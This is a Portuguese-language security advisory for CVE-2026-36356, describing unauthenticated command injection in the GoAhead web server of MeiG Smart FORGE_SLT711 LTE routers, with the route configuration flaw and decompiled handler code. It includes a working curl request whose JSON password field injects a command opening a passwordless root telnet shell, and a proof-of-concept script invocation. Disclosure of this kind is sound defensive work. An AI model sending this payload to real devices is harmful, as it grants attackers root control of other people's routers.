
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Injeção de comandos do sistema operacional não autenticada (RCE como root)
/action/SetRemoteAccessCfg)O servidor web GoAhead incluído nos dispositivos CPE 4G LTE MeiG Smart FORGE_SLT711 expõe um endpoint HTTP sem autenticação, /action/SetRemoteAccessCfg, que interpola entrada JSON controlada pelo usuário em um comando shell sem sanitização. Uma única requisição POST sem autenticação executa comandos arbitrários como root.
Duas causas raiz independentes: uma entrada de rota sem autenticação ausente e uma construção insegura sprintf() → system() no handler.
MDM9607.LE.1.0-00110-STD.PROD-1 (firmware do modem BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)O código vulnerável está no handler de ação personalizado da MeiG, não no GoAhead upstream. Outras versões de firmware desta linha de produtos provavelmente também são afetadas; não verificado de forma independente.
| Dispositivo | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Kernel | Linux 3.18.48 |
| Firmware | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Data | 2026-02-21 |
A configuração de rotas do GoAhead /var/www/route.txt lista rotas autenticadas (linhas 64–150) usando auth=basic. /action/SetRemoteAccessCfg não está nessa lista. O roteamento cai na regra genérica (catch-all) na linha 156:
route uri=/action handler=action
A regra genérica não possui auth=basic, portanto qualquer cliente HTTP pode invocar /action/SetRemoteAccessCfg sem credenciais.
O handler no offset 0x0003c6d8 em /usr/bin/goahead é decompilado para:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
O campo password é interpolado entre aspas duplas. A substituição $(...) e os acentos graves `...` são expandidos dentro de aspas duplas, portanto um atacante controla o comando shell. system() executa como uid=0 porque o processo GoAhead roda como root. Sem validação de entrada, sem escaping, sem lista de caracteres permitidos.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (publicado junto a este advisory):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
A exploração é cega — a saída do comando não está na resposta HTTP.
password: 64 bytes